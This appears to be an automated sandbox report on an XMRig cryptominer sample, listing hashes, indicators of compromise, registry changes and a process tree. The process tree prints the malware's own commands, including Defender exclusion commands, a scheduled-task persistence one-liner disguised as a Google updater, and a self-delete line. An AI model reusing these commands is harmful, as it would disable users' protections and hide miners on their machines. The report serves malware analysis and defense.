xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1799s
max time network
1802s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Size 2.0MB
Sample240123-x6bvbafgem
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

description	pid	Process	procid_target
PID 4616 created 3636	4616	EtPLMpbCyFJpMJr7.exe	47
PID 4616 created 3636	4616	EtPLMpbCyFJpMJr7.exe	47
PID 4616 created 3636	4616	EtPLMpbCyFJpMJr7.exe	47
PID 4616 created 3636	4616	EtPLMpbCyFJpMJr7.exe	47
PID 2608 created 3636	2608	updater.exe	47
PID 2608 created 3636	2608	updater.exe	47
PID 2608 created 3636	2608	updater.exe	47
PID 4388 created 3636	4388	conhost.exe	47
PID 2608 created 3636	2608	updater.exe	47

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral12/memory/3708-126-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-130-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-131-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-133-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-136-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-139-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-141-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-143-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-149-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-151-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-153-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-155-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-157-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-159-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-161-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-163-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-165-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-167-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-169-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-171-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-173-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-175-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-177-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-179-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-181-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-183-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-185-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-187-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-189-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig
behavioral12/memory/3708-191-0x00007FF613350000-0x00007FF613B44000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
2608	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral12/memory/3708-119-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-126-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-130-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-131-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-133-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-136-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-139-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-141-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-143-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-149-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-151-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-153-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-155-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-157-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-159-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-161-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-163-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-165-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-167-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-169-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-171-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-173-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-175-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-177-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-179-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-181-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-183-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-185-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-187-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-189-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx
behavioral12/memory/3708-191-0x00007FF613350000-0x00007FF613B44000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2608 set thread context of 4388	2608	updater.exe	117
PID 2608 set thread context of 3708	2608	updater.exe	118

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	EtPLMpbCyFJpMJr7.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
220	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
4616	EtPLMpbCyFJpMJr7.exe
4616	EtPLMpbCyFJpMJr7.exe
868	powershell.exe
868	powershell.exe
4616	EtPLMpbCyFJpMJr7.exe
4616	EtPLMpbCyFJpMJr7.exe
1212	powershell.exe
1212	powershell.exe
4616	EtPLMpbCyFJpMJr7.exe
4616	EtPLMpbCyFJpMJr7.exe
4616	EtPLMpbCyFJpMJr7.exe
4616	EtPLMpbCyFJpMJr7.exe
3552	powershell.exe
3552	powershell.exe
2608	updater.exe
2608	updater.exe
3384	powershell.exe
3384	powershell.exe
2608	updater.exe
2608	updater.exe
3968	powershell.exe
3968	powershell.exe
2608	updater.exe
2608	updater.exe
2608	updater.exe
2608	updater.exe
4388	conhost.exe
4388	conhost.exe
2608	updater.exe
2608	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	868	powershell.exe
Token: SeDebugPrivilege	1212	powershell.exe
Token: SeIncreaseQuotaPrivilege	1212	powershell.exe
Token: SeSecurityPrivilege	1212	powershell.exe
Token: SeTakeOwnershipPrivilege	1212	powershell.exe
Token: SeLoadDriverPrivilege	1212	powershell.exe
Token: SeSystemProfilePrivilege	1212	powershell.exe
Token: SeSystemtimePrivilege	1212	powershell.exe
Token: SeProfSingleProcessPrivilege	1212	powershell.exe
Token: SeIncBasePriorityPrivilege	1212	powershell.exe
Token: SeCreatePagefilePrivilege	1212	powershell.exe
Token: SeBackupPrivilege	1212	powershell.exe
Token: SeRestorePrivilege	1212	powershell.exe
Token: SeShutdownPrivilege	1212	powershell.exe
Token: SeDebugPrivilege	1212	powershell.exe
Token: SeSystemEnvironmentPrivilege	1212	powershell.exe
Token: SeRemoteShutdownPrivilege	1212	powershell.exe
Token: SeUndockPrivilege	1212	powershell.exe
Token: SeManageVolumePrivilege	1212	powershell.exe
Token: 33	1212	powershell.exe
Token: 34	1212	powershell.exe
Token: 35	1212	powershell.exe
Token: 36	1212	powershell.exe
Token: SeIncreaseQuotaPrivilege	1212	powershell.exe
Token: SeSecurityPrivilege	1212	powershell.exe
Token: SeTakeOwnershipPrivilege	1212	powershell.exe
Token: SeLoadDriverPrivilege	1212	powershell.exe
Token: SeSystemProfilePrivilege	1212	powershell.exe
Token: SeSystemtimePrivilege	1212	powershell.exe
Token: SeProfSingleProcessPrivilege	1212	powershell.exe
Token: SeIncBasePriorityPrivilege	1212	powershell.exe
Token: SeCreatePagefilePrivilege	1212	powershell.exe
Token: SeBackupPrivilege	1212	powershell.exe
Token: SeRestorePrivilege	1212	powershell.exe
Token: SeShutdownPrivilege	1212	powershell.exe
Token: SeDebugPrivilege	1212	powershell.exe
Token: SeSystemEnvironmentPrivilege	1212	powershell.exe
Token: SeRemoteShutdownPrivilege	1212	powershell.exe
Token: SeUndockPrivilege	1212	powershell.exe
Token: SeManageVolumePrivilege	1212	powershell.exe
Token: 33	1212	powershell.exe
Token: 34	1212	powershell.exe
Token: 35	1212	powershell.exe
Token: 36	1212	powershell.exe
Token: SeIncreaseQuotaPrivilege	1212	powershell.exe
Token: SeSecurityPrivilege	1212	powershell.exe
Token: SeTakeOwnershipPrivilege	1212	powershell.exe
Token: SeLoadDriverPrivilege	1212	powershell.exe
Token: SeSystemProfilePrivilege	1212	powershell.exe
Token: SeSystemtimePrivilege	1212	powershell.exe
Token: SeProfSingleProcessPrivilege	1212	powershell.exe
Token: SeIncBasePriorityPrivilege	1212	powershell.exe
Token: SeCreatePagefilePrivilege	1212	powershell.exe
Token: SeBackupPrivilege	1212	powershell.exe
Token: SeRestorePrivilege	1212	powershell.exe
Token: SeShutdownPrivilege	1212	powershell.exe
Token: SeDebugPrivilege	1212	powershell.exe
Token: SeSystemEnvironmentPrivilege	1212	powershell.exe
Token: SeRemoteShutdownPrivilege	1212	powershell.exe
Token: SeUndockPrivilege	1212	powershell.exe
Token: SeManageVolumePrivilege	1212	powershell.exe
Token: 33	1212	powershell.exe
Token: 34	1212	powershell.exe
Token: 35	1212	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3304 wrote to memory of 2624	3304	cmd.exe	102
PID 3304 wrote to memory of 2624	3304	cmd.exe	102
PID 3552 wrote to memory of 3680	3552	powershell.exe	105
PID 3552 wrote to memory of 3680	3552	powershell.exe	105
PID 2608 wrote to memory of 4388	2608	updater.exe	117
PID 2292 wrote to memory of 220	2292	cmd.exe	114
PID 2292 wrote to memory of 220	2292	cmd.exe	114
PID 2608 wrote to memory of 3708	2608	updater.exe	118

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3636
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:4616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1212
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3552
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:3680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3968
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2292
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:4388
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:3708

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2624

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2608
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1624

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
PID:220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 2.0MB
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 976KB
SHA256 af72fa6f26f9a2a93e83b3bde70854da1440356ad7666a26390bcb0c6f07bf1d
MD5 694d11a7783970fa795903d6edbb50d5
SHA1 5e3ec412bcb5e83e5b55e6b23a0976897c0482be
SHA512 8d357c8adcf666f7068e68591b7c86b8f14886cb8cc308ceca53d07f504c0f5b7ae7e9a3354d5e5e919bd949991c829b82ac962247c15a802f768b074bf0d89f
SSDEEP 24576:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+JJi732RuzDhb6Kd5Fe1z:rWVipAxqo5p88CbXuxWQiSJU320ZWz
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 226B
SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
MD5 fdba80d4081c28c65e32fff246dc46cb
SHA1 74f809dedd1fc46a3a63ac9904c80f0b817b3686
